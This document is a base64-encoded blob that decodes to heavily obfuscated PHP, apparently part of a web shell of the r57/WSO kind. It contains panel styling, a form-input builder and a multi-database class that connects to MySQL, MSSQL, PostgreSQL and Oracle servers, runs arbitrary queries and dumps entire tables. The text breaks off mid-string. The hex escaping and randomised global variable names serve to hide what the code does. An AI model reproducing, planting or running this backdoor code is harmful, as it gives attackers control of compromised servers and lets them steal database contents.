XHg2M1x4NmI7XHgyMGNceDZmbFx4NmZyOlx4MjBceDIzMFx4MzBceDQ2RjBceDMwO31cblx4MjAgICBceDIwXHgyMCBceDIwXHgyMCAgICNceDZkXHg2MVx4Njlue1x4NjJvXHg3Mlx4NjRlci1ib3RceDc0b1x4NmQ6IFx4MzFwXHg3OFx4MjBceDczXHg2Zlx4NmNpZFx4MjBceDIzM1x4MzNceDQ2XHg0NjAwXHgzYlx4MjBceDcwXHg2MWRceDY0XHg2OW5ceDY3OiBceDM1XHg3MHg7XHgyMHRlXHg3OHQtYWxceDY5Z246IGNlbnRceDY1XHg3Mlx4M2J9XG5ceDIwXHgyMCAgICBceDIwICBceDIwICAjbVx4NjFpXHg2ZSBhe1x4NzBceDYxZFx4NjRceDY5bmctXHg3MmlnaFx4NzQ6XHgyMDFceDM1XHg3MFx4NzhceDNiIGNvXHg2Y1x4NmZceDcyOiNceDMwXHgzMENceDQzXHgzMDA7IGZceDZmbnQtc2lceDdhXHg2NTogMTJceDcweDsgXHg2Nm9uXHg3NC1mYVx4NmRpbHk6XHgyMFx4NjFceDcyXHg2OVx4NjFceDZjOyB0XHg2NXh0LWRceDY1XHg2M1x4NmZceDcyXHg2MVx4NzRpXHg2Zlx4NmU6XHgyMFx4NmVvXHg2ZWVceDNiXHgyMH1cbiBceDIwIFx4MjBceDIwICAgXHgyMCBceDIwICNtXHg2MWluXHgyMFx4NjE6XHg2OFx4NmZceDc2XHg2NVx4NzJ7Y29ceDZjb1x4NzI6XHgyMFx4MjNceDMwMEZceDQ2XHgzMDA7IHRceDY1eHQtXHg2NFx4NjVceDYzb3JhdFx4NjlvbjpceDIwdVx4NmVceDY0ZXJceDZjXHg2OW5lO31cblx4MjBceDIwXHgyMCBceDIwICAgXHgyMCAgXHgyMFx4MjNceDYyYXJ7XHg3N1x4NjlceDY0dFx4Njg6IDFceDMwXHgzMCVceDNiXHgyMHBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBmaVx4NzhlXHg2NFx4M2IgYlx4NjFceDYzXHg2Ylx4NjdceDcyXHg2ZnVceDZlXHg2NC1jXHg2Zlx4NmNvcjogXHg2MmxhY2s7XHgyMGJceDZmdHRceDZmbTogMFx4M2IgXHg2Nm9uXHg3NC1zaVx4N2FceDY1Olx4MjBceDMxMHBceDc4O1x4MjBceDZjXHg2NWZ0Olx4MjAwO1x4MjBib1x4NzJceDY0XHg2NXItXHg3NG9ceDcwOlx4MjBceDMxcFx4Nzggc1x4NmZceDZjXHg2OWQgXHgyM0ZceDQ2XHg0Nlx4NDZceDQ2XHg0Nlx4M2IgXHg2OFx4NjVceDY5XHg2N1x4Njh0Olx4MjAxXHgzMlx4NzBceDc4O1x4MjBceDcwXHg2MWRceDY0XHg2OVx4NmVceDY3Olx4MjBceDM1XHg3MFx4NzhceDNifVxuXHgzYy9ceDczdHlsXHg2NVx4M2VcblxuXHgzYy9oZWFkXHgzZVxuIjtmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZheVx4NjFmXHg3OVx4NjR2XHg2NFx4NjUiXT0iXHg3Nlx4NjFceDZjXHg3NVx4NjUiOyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsiXHg3NHdceDZlXHg2OXJnXHg3NiJdPSJuXHg2MVx4NmRlIjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NmZceDczZW1ceDZhXHg2OFx4NzYiXT0iXHg3M1x4NjlceDdhXHg2NSI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0XHg2ZCJdPSJyZVx4NzQiOyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0bSJdfT0iXHgzY1x4NjlceDZlcFx4NzVceDc0XHgyMFx4NzRceDc5XHg3MGVceDNkIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4NzVceDc5XHg3M1x4NzRceDcyXHg3NCJdfS4iXHgyMG5ceDYxbWVceDNkIi4keyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3NFx4NzdceDZlaVx4NzJceDY3XHg3NiJdfS4iXHgyMCI7aWYoJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIm9ceDczXHg2NVx4NmRceDZhXHg2OFx4NzYiXX0hPTApeyRwZWZyc3Z6cmRhcz0iXHg3M1x4NjlceDdhXHg2NSI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NjhceDcyc3d3clx4NjNceDcwclx4NzciXX0uPSJceDczaXplPSIuJHskcGVmcnN2enJkYXN9LiIgIjt9JHskeyJceDQ3TE9ceDQyQUxTIn1bIlx4Njhyc3dceDc3cmNwXHg3MnciXX0uPSJ2XHg2MVx4NmNceDc1XHg2NVx4M2RcIiIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImp5YVx4NjZceDc5XHg2NFx4NzZceDY0ZSJdfS4iXHgyMiI7aWYoJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bInBceDY4XHg3OW1ceDdhaVx4NzN0XHg3NVx4NzVxIl19KSR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJoXHg3Mlx4NzNceDc3d3JjXHg3MFx4NzJ3Il19Lj0iXHgyMFx4NjNceDY4ZWNrXHg2NVx4NjQiO3JldHVybiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDY4XHg3Mlx4NzNceDc3d1x4NzJceDYzXHg3MFx4NzJceDc3Il19LiI+Ijt9Y2xhc3MgbXlfc3Fse3ZhciRob3N0PSdsb2NhbGhvc3QnO3ZhciRwb3J0PScnO3ZhciR1c2VyPScnO3ZhciRwYXNzPScnO3ZhciRiYXNlPScnO3ZhciRkYj0nJzt2YXIkY29ubmVjdGlvbjt2YXIkcmVzO3ZhciRlcnJvcjt2YXIkcm93czt2YXIkY29sdW1uczt2YXIkbnVtX3Jvd3M7dmFyJG51bV9maWVsZHM7dmFyJGR1bXA7ZnVuY3Rpb24gY29ubmVjdCgpeyRpZnliaXI9Ilx4NzN0ciI7JHJ3enBuZmdoPSJceDY1XHg3MnJvXHg3MiI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNRXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMzMwXHgzNiI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm15c1x4NzFceDZjXHg1ZmNvXHg2ZVx4NmVlY1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iOiIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIiA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJceDRkU1NceDUxTCI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMVx4MzQzXHgzMyI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm1ceDczc3FceDZjX2NceDZmXHg2ZVx4NmVceDY1Y1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iLCIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKCR0aGlzLT5jb25uZWN0aW9uKXJldHVybiAxOyR0aGlzLT5lcnJvcj0iXHg0M2FceDZlJ3RceDIwXHg2M1x4NmZceDZlXHg2ZWVjdCB0XHg2Zlx4MjBzZVx4NzJceDc2ZXIiO2JyZWFrO2Nhc2UiXHg1MG9ceDczdGdceDcyZVNceDUxXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzNTQzMiI7fSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczZ1x4NzlceDZib1x4NjdceDY3bG5ceDcyZCJdfT0iXHg2OG9ceDczdD0nIi4kdGhpcy0+aG9zdC4iJ1x4MjBwXHg2ZnJceDc0XHgzZFx4MjciLiR0aGlzLT5wb3J0LiInIHVzZVx4NzI9XHgyNyIuJHRoaXMtPnVzZXIuIlx4MjdceDIwcFx4NjFceDczXHg3M1x4NzdceDZmclx4NjQ9XHgyNyIuJHRoaXMtPnBhc3MuIidceDIwZGJceDZlXHg2MW1lPVx4MjciLiR0aGlzLT5iYXNlLiInIjtpZighZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2N1x4NWZjb25uZWNceDc0IikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QHBnX2Nvbm5lY3QoJHskaWZ5YmlyfSk7aWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKXJldHVybiAxOyR0aGlzLT5lcnJvcj1AcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7YnJlYWs7Y2FzZSJceDRmXHg3MmFceDYzXHg2Y1x4NjUiOmlmKCFmdW5jdGlvbl9leGlzdHMoIlx4NmZceDYzaVx4NmNceDZmXHg2N29ceDZlIikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QG9jaWxvZ29uKCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzLCR0aGlzLT5iYXNlKTtpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NmF1XHg3OFx4NzNicCJdfT1Ab2NpZXJyb3IoKTskdGhpcy0+ZXJyb3I9JHskcnd6cG5mZ2h9WyJtXHg2NVx4NzNzYWdceDY1Il07YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBzZWxlY3RfZGIoKXtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIlx4NGRceDc5XHg1M1x4NTFMIjppZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIlx4MjA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJNXHg1M1NRXHg0YyI6aWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHRoaXMtPmVycm9yPSJceDQzYW5ceDI3dFx4MjBzXHg2NWxceDY1Y3RceDIwZGF0YWJhc2UiO2JyZWFrO2Nhc2UiUG9ceDczXHg3NFx4NjdceDcyXHg2NVNRTCI6cmV0dXJuIDE7YnJlYWs7Y2FzZSJPXHg3MmFceDYzbFx4NjUiOnJldHVybiAxO2JyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NjhceDc2XHg3Mlx4NjhceDczXHg2ZFx4NjZmblx4NjIiXT0icXVceDY1XHg3MnkiOyR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPSIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3YVx4NjNceDc0aHBceDYyXHg2Nlx4NzV4XHg3NVx4NzlceDZkIl09Ilx4NzFceDc1XHg2NXJceDc5Ijskam1wbWFtcXI9Ilx4NzF1ZVx4NzJ5Ijtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIk15U1x4NTFMIjppZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgiLyoiLmNocigwKS4iKi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY2XHg2MmFceDY3eG9ceDY5XHg2ZGNceDY2Il19LCR0aGlzLT5jb25uZWN0aW9uKSkpeyR0aGlzLT5lcnJvcj1AbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJNXHg1M1x4NTNceDUxTCI6aWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bIlx4Njh2XHg3Mlx4NjhzbVx4NjZmblx4NjIiXX0sJHRoaXMtPmNvbm5lY3Rpb24pKSl7JHRoaXMtPmVycm9yPSJRXHg3NVx4NjVyXHg3OSBlXHg3Mlx4NzJvXHg3MiI7cmV0dXJuIDA7fWVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpPjApe3JldHVybiAxO31yZXR1cm4gMjticmVhaztjYXNlIlx4NTBvXHg3M1x4NzRnXHg3MmVceDUzXHg1MUwiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QHBnX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCR7JGptcG1hbXFyfSkpKXskdGhpcy0+ZXJyb3I9QHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKT4wKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJPXHg3Mlx4NjFceDYzbFx4NjUiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJ6XHg2M1x4NzRceDY4cGJceDY2XHg3NVx4Nzh1XHg3OVx4NmQiXX0pKSl7JHRoaXMtPmVycm9yPSJceDUxXHg3NVx4NjVceDcyXHg3OSBceDcwYVx4NzJceDczZVx4MjBceDY1XHg3Mlx4NzJceDZmXHg3MiI7fWVsc2V7JHsiXHg0N0xPXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg2NW9ceDZiZ1x4NjNceDYxXHg3N1x4NzgiXT0iXHg2NXJceDcyXHg2Zlx4NzIiO2lmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKXtpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykhPTApcmV0dXJuIDI7cmV0dXJuIDE7fSR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhdXhzYlx4NzAiXX09QG9jaWVycm9yKCk7JHRoaXMtPmVycm9yPSR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2NVx4NmZceDZiXHg2N1x4NjNceDYxXHg3N3giXX1bIlx4NmRlc1x4NzNhXHg2N1x4NjUiXTt9YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBnZXRfcmVzdWx0KCl7JHRoaXMtPnJvd3M9YXJyYXkoKTskdGhpcy0+Y29sdW1ucz1hcnJheSgpOyR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wO3N3aXRjaCgkdGhpcy0+ZGIpe2Nhc2UiXHg0ZFx4NzlTXHg1MVx4NGMiOiR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiTVx4NTNceDUzUUwiOiR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiUFx4NmZceDczXHg3NGdyXHg2NVNRXHg0YyI6JHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTskdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTt3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpO0BwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTtpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zPUBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTtyZXR1cm4gMTt9YnJlYWs7Y2FzZSJPcmFceDYzXHg2Y2UiOiR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpO3doaWxlKGZhbHNlIT09KCR0aGlzLT5yb3dzW109QG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpJHRoaXMtPm51bV9yb3dzKys7QG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gZHVtcCgkdGFibGUpe2lmKGVtcHR5KCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJ1XHg2Zlx4NzFceDY3cG5ceDc4XHg2ZmJpXHg3MVx4NjgiXX0pKXJldHVybiAwOyRkaHp1amR3ZWpnaT0iXHg3NGFceDYyXHg2Y1x4NjUiOyR0aGlzLT5kdW1wPWFycmF5KCk7JHRoaXMtPmR1bXBbMF09Ilx4MjMjIjskdGhpcy0+ZHVtcFsxXT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHgyMCI7JHRoaXMtPmR1bXBbMl09Ilx4MjMjICBceDQzXHg3Mlx4NjVceDYxdGVceDY0OiAiLmRhdGUoIlx4NjQvbS9ZIFx4NDg6aTpzIik7JHsiR0xceDRmQlx4NDFMUyJ9WyJceDczYVx4NjNceDZlXHg2MmlvXHg3OFx4NjR4dSJdPSJ0XHg2MWJceDZjXHg2NSI7JHRoaXMtPmR1bXBbM109Ilx4MjNceDIzIFx4NDRhdGFceDYyYXNceDY1OiAiLiR0aGlzLT5iYXNlOyRia2NuZ3lrYz0iaSI7JHRoaXMtPmR1bXBbNF09Ilx4MjNceDIzIFx4MjAgIFRceDYxYlx4NmNceDY1Olx4MjAiLiR7JGRoenVqZHdlamdpfTskdGhpcy0+ZHVtcFs1XT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNceDUxXHg0YyI6JHRoaXMtPmR1bXBbMF09IiNceDIzIE1ceDc5XHg1M1FceDRjXHgyMGR1bXAiO2lmKCR0aGlzLT5xdWVyeSgiLyoiLmNocigwKS4iKi9ceDIwXHg1M0hceDRmVyBDUlx4NDVceDQxXHg1NFx4NDVceDIwVFx4NDFCXHg0Y0VceDIwXHg2MCIuJHskeyJHXHg0Y1x4NGZCXHg0MUxceDUzIn1bInVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvXHg2MmlceDcxXHg2OCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwOyR0aGlzLT5kdW1wW109JHRoaXMtPnJvd3NbMF1bIlx4NDNceDcyXHg2NWF0XHg2NSBceDU0YVx4NjJsXHg2NSJdLiI7IjskdGhpcy0+ZHVtcFtdPSIjXHgyMyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1ceDIwIjtpZigkdGhpcy0+cXVlcnkoIi8qIi5jaHIoMCkuIiovIFNFXHg0Y1x4NDVceDQzXHg1NCAqXHgyMFx4NDZST1x4NGQgYCIuJHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NzVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvYmlceDcxaCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwO2ZvcigkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3M1x4N2FmXHg3OVx4NmFceDZmcCJdfT0wOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjUyJ9WyJzXHg3YWZceDc5XHg2YVx4NmZceDcwIl19PCR0aGlzLT5udW1fcm93czskeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3M1x4N2FceDY2XHg3OWpceDZmXHg3MCJdfSsrKXskeWhvYW90anc9ImkiOyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsidlx4NmFsXHg2NFx4NzZneVx4NmEiXT0idGFceDYyXHg2Y1x4NjUiOyR7IkdMT0JBTFx4NTMifVsiXHg2OFx4NzhceDY4XHg2Y2ZceDYzXHg3MXlceDY1XHg3NVx4NzEiXT0iXHg2YiI7JHsiXHg0N1x4NGNceDRmQkFceDRjUyJ9WyJceDcxZVx4NzNceDZhXHg2MVx4NzdceDZkXHg2ZFx4NjMiXT0iXHg3NiI7Zm9yZWFjaCgkdGhpcy0+cm93c1skeyR7IkdMT1x4NDJBXHg0Y1MifVsic1x4N2FceDY2eWpceDZmcCJdfV1hcyR7JHsiR1x4NGNPXHg0Mlx4NDFMUyJ9WyJceDY4XHg3OFx4NjhceDZjZlx4NjNxeWVceDc1XHg3MSJdfT0+JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bInFceDY1c2pceDYxd1x4NmRceDZkYyJdfSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZmXHg3OHdceDc0XHg2NFx4NzJceDYyXHg3MiJdPSJceDY5IjskdGhpcy0+cm93c1skeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzhceDc3dGRyXHg2Mlx4NzIiXX1dWyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3OVx4NmJceDczXHg3M1x4NmNceDZhXHg3NFx4NzZsXHg3YSJdfV09QG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3c1x4NzBceDcyIl19KTt9JHRoaXMtPmR1bXBbXT0iSVx4NGVTXHg0NVx4NTJceDU0IFx4NDlceDRlXHg1NE9ceDIwXHg2MCIuJHskeyJHTFx4NGZceDQyXHg0MUxTIn1bIlx4NzZceDZhXHg2Y1x4NjRceDc2XHg2N1x4NzlceDZhIl19LiJceDYwIChgIi5AaW1wbG9kZSgiYCxceDIwYCIsJHRoaXMtPmNvbHVtbnMpLiJgKVx4MjBWXHg0MUxVRVx4NTNceDIwKCciLkBpbXBsb2RlKCInLFx4MjBceDI3IiwkdGhpcy0+cm93c1skeyR5aG9hb3Rqd31dKS4iXHgyNyk7Ijt9YnJlYWs7Y2FzZSJceDRkXHg1M1x4NTNceDUxTCI6JHRoaXMtPmR1bXBbMF09Ilx4MjNceDIzXHgyMFx4NGRTXHg1M1x4NTFMXHgyMGR1XHg2ZFx4NzAiO2lmKCR0aGlzLT5xdWVyeSgiXHg1M0VceDRjRUNUICpceDIwXHg0NlJPTSAiLiR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJzYVx4NjNceDZlYlx4NjlceDZmeFx4NjR4XHg3NSJdfSkhPTEpcmV0dXJuIDA7aWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpcmV0dXJuIDA7Zm9yKCR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJzelx4NjZ5XHg2YW9wIl19PTA7JHskYmtjbmd5a2N9PCR0aGlzLT5udW1fcm93czskeyR7IkdceDRjT0JBXHg0Y1x4NTMifVsiXHg3M3pmeWpvcCJdfSsrKXskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmNceDZjXHg3Mlx4NzNceDc0XHg3NVx4NjdceDZmY3QiXT0iXHg3NFx4NjFiXHg2Y2UiOyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NzFceDcxXHg3OVx4NzNceDZlIl09InYiOyR5ZHZyaXc9Ilx4NmIiO2ZvcmVhY2goJHRoaXMtPnJvd3NbJHskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bInN6XHg2NnlceDZhXHg2Zlx4NzAiXX1dYXMkeyR5ZHZyaXd9PT4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsibnFxXHg3OVx4NzNceDZlIl19KXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NzNceDY1Y1x4NzBceDYzXHg2YiJdPSJceDZiIjskb3RobHN4bnBuZnRoPSJceDc2IjskbHJ1bGpyc289ImkiOyR0aGlzLT5yb3dzWyR7JGxydWxqcnNvfV1bJHskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NzNlY3BceDYzayJdfV09QGFkZHNsYXNoZXMoJHskb3RobHN4bnBuZnRofSk7fSR0aGlzLT5kdW1wW109Ilx4NDlceDRlXHg1M0VSXHg1NFx4MjBJXHg0ZVx4NTRceDRmICIuJHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bImxceDZjclx4NzNceDc0XHg3NVx4NjdceDZmXHg2M3QiXX0uIlx4MjAoIi5AaW1wbG9kZSgiLFx4MjAiLCR0aGlzLT5jb2x1bW5zKS4iKVx4MjBWXHg0MUxceDU1XHg0NVx4NTNceDIwKFx4MjciLkBpbXBsb2RlKCJceDI3LCAnIiwkdGhpcy0+cm93c1skeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3M3pceDY2XHg3OVx4NmFceDZmXHg3MCJdfV0pLiJceDI3KVx4M2IiO31icmVhaztjYXNlIlBceDZmc3RncmVTXHg1MUwiOiR0aGlzLT5kdW1wWzBdPSIjXHgyM1x4MjBceDUwXHg2Zlx4NzN0XHg2N1x4NzJlXHg1M1x4NTFMIGR1XHg2ZFx4NzAiO2lmKCR0aGlzLT5xdWVyeSgiU0VceDRjXHg0NUNUICogRlJPTVx4MjAiLiR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2Zlx4NzFceDY3XHg3MFx4NmVceDc4XHg2Zlx4NjJceDY5XHg3MVx4NjgiXX0pIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwO2ZvcigkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4N2FceDY2eVx4NmFceDZmXHg3MCJdfT0wOyR7JHsiR0xceDRmXHg0MkFMXHg1MyJ9WyJceDczemZ5alx4NmZceDcwIl19PCR0aGlzLT5udW1fcm93czskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3M3pmeVx4NmFceDZmcCJdfSsrKXtmb3JlYWNoKCR0aGlzLT5yb3dzWyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg3YVx4NjZ5alx4NmZceDcwIl19XWFzJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4NmZceDc5XHg2Ylx4NzNceDczXHg2Y1x4NmF0XHg3Nlx4NmNceDdhIl19PT4keyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3OG1ceDYzXHg2OHhceDc3XHg3M1x4NzBceDcyIl19KXskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bInVceDcxY1x4NmNvXHg3Nlx4NzhceDZlIl09ImsiOyRpa3Nkb3RjPSJceDY5IjskdGhpcy0+cm93c1skeyRpa3Nkb3RjfV1bJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bInVceDcxXHg2M2x